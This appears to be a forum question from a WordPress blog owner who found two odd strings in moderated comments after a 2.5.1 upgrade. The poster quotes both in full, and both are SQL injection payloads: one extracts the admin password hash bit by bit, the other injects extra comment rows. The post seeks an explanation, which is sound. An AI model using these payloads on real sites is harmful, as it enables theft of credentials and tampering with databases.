Don't know if this is a coincidence, but just upgraded one of my blogs from 2.5.0 to 2.5.1 earlier and noticed about the same time, this appeared in comments being held for moderation:
' AND 1=0) UNION SELECT 1 FROM wp_users WHERE user_login='admin' and substring(reverse(lpad(conv(substring(user_pass,1,1), 16, 2),4,'0')),1,1)='1' /*
and this as well:
Bill527326335','636919450billy@msn.com','','163.107.166.154','2008-06-06 18:56:17','2008-06-06 18:56:17','','0','lynx','comment','0','0'),('0', '', '', '', '', '2008-06-07 18:56:17', '2008-06-07 18:56:17', '', 'spam', '', 'comment', '0','0' ) /*
Since comments are moderated, no harm done, right? But what was he up to? Is it coincidence this happened around the time of the upgrade? And is this something to be concerned or alarmed about?